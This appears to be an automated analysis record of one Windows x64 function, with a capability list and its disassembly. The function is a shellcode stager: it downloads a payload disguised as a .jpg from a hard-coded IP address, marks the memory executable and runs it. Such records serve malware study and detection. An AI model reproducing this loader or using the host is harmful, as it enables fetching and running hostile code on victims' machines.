Function at 0x140003000
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
sub rsp, 0xb8
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov rax, qword [0x140039080]
xor rax, rsp
mov qword [rsp + 0xa0], rax
lea rdx, str.http:__103.99.60.28_chfs_shared_bin_64.jpg
lea rcx, [rsp + 0x80]
call fcn.1400034c0
nop
mov dword [rsp + 0x74], 0x2328
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400338e8]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400030a9
lea rdx, str.Failed_to_initialize_WinINet.
lea rcx, [0x14003a230]
call fcn.1400057c0
lea rdx, [0x140005b70]
mov rcx, rax
call fcn.140003770
mov dword [rsp + 0x50], 1
lea rcx, [rsp + 0x80]
call fcn.140003490
mov eax, dword [rsp + 0x50]
jmp 0x140003380
mov qword [rsp + 0x38], 0
xor eax, eax
cmp eax, 1
je 0x140003129
lea rcx, [rsp + 0x80]
call fcn.140003460
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000100
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x1400030fa
jmp 0x140003129
lea rdx, str.Failed_to_open_URL._Retrying_in_6_seconds...
lea rcx, [0x14003a230]
call fcn.1400057c0
lea rdx, [0x140005b70]
mov rcx, rax
call fcn.140003770
mov ecx, 0x2328
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400030b2
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x54], 4
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x54]
lea r8, [rsp + 0x30]
mov edx, 0x20000005
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x1400031b6
lea rdx, str.Failed_to_get_file_size.
lea rcx, [0x14003a230]
call fcn.1400057c0
lea rdx, [0x140005b70]
mov rcx, rax
call fcn.140003770
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x58], 1
lea rcx, [rsp + 0x80]
call fcn.140003490
mov eax, dword [rsp + 0x58]
jmp 0x140003380
mov eax, dword [rsp + 0x30]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140003233
lea rdx, str.Failed_to_allocate_memory.
lea rcx, [0x14003a230]
call fcn.1400057c0
lea rdx, [0x140005b70]
mov rcx, rax
call fcn.140003770
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x5c], 1
lea rcx, [rsp + 0x80]
call fcn.140003490
mov eax, dword [rsp + 0x5c]
jmp 0x140003380
mov dword [rsp + 0x60], 0
lea r9, [rsp + 0x60]
mov r8d, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400032c2
lea rdx, str.Failed_to_read_file.
lea rcx, [0x14003a230]
call fcn.1400057c0
lea rdx, [0x140005b70]
mov rcx, rax
call fcn.140003770
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x64], 1
lea rcx, [rsp + 0x80]
call fcn.140003490
mov eax, dword [rsp + 0x64]
jmp 0x140003380
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x68], 0
mov eax, dword [rsp + 0x30]
lea r9, [rsp + 0x68]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140003350
lea rdx, str.Failed_to_set_memory_page_protection.
lea rcx, [0x14003a230]
call fcn.1400057c0
lea rdx, [0x140005b70]
mov rcx, rax
call fcn.140003770
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rsp + 0x6c], 1
lea rcx, [rsp + 0x80]
call fcn.140003490
mov eax, dword [rsp + 0x6c]
jmp 0x140003380
call qword [rsp + 0x40]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rsp + 0x70], 0
lea rcx, [rsp + 0x80]
call fcn.140003490
mov eax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400092c0
add rsp, 0xb8
ret